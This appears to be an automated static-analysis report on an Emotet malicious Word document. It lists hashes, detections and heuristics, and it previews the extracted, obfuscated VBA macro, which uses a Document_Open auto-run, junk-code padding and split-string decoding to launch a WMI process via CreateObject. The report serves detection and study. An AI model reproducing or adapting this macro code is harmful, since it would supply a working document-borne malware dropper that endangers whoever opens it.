Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ea3c7250737177df…

MALICIOUS

Office (OLE)

236.7 KB Created: 2020-08-20 07:44:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: aaf91a78f68396ee0754631a48cb7ac3 SHA-1: 27fe9a59128af60d0b0438e6a7f8c384256555ad SHA-256: ea3c7250737177df1b6a661ff336a738135cac3797296b684fbc4a7fbb44f8af
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The presence of a CreateObject call and the ClamAV detection further support this classification. The VBA script likely downloads and executes a second-stage payload, a common Emotet behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9448058-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9448058-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11033 bytes
SHA-256: f0615417656aada53ce6063c6ad35576d9da31bb7b25a429f94fd12cb4b1a038
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Yat9wtzmpn1tfs"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Yolp5sktcxl.Eyccrfuo4awoj8oeh
End Sub


Attribute VB_Name = "Yolp5sktcxl"
Attribute VB_Base = "0{1B6D6645-C04D-4F45-A6A1-239F0BA137E1}{79332E5B-AB12-4C8A-88A2-EF061FC02C29}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Eyccrfuo4awoj8oeh()
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Zapj84b93hmtrinqri = Yolp5sktcxl.HelpContextId + 50 + 50
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Nfp6jwvqysqopsea = ChrW(Zapj84b93hmtrinqri + (15))
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

P1mnw3osfjsl4hieg = "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]i12bb$ hs1g 2[gg222sh 7219681]nm12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]gm12bb$ hs1g 2[gg222sh 7219681]t12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]" + Nfp6jwvqysqopsea + "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]:12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]in12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]312bb$ hs1g 2[gg222sh 7219681]212bb$ hs1g 2[gg222sh 7219681]_12bb$ hs1g 2[gg222sh 7219681]" + Yolp5sktcxl.Ri4edse2qkvjx2 + "12bb$ hs1g 2[gg222sh 7219681]ro12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]ce12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]"
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Oxzi5kgofik3 = Zwsqgfj53c44h(P1mnw3osfjsl4hieg)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Set Mptlchls1l70l8q = CreateObject(Oxzi5kgofik3)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

P5v_hj_ype1o = Yolp5sktcxl.V568oyf0h_b3482u7.ControlTipText
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
En
... (truncated)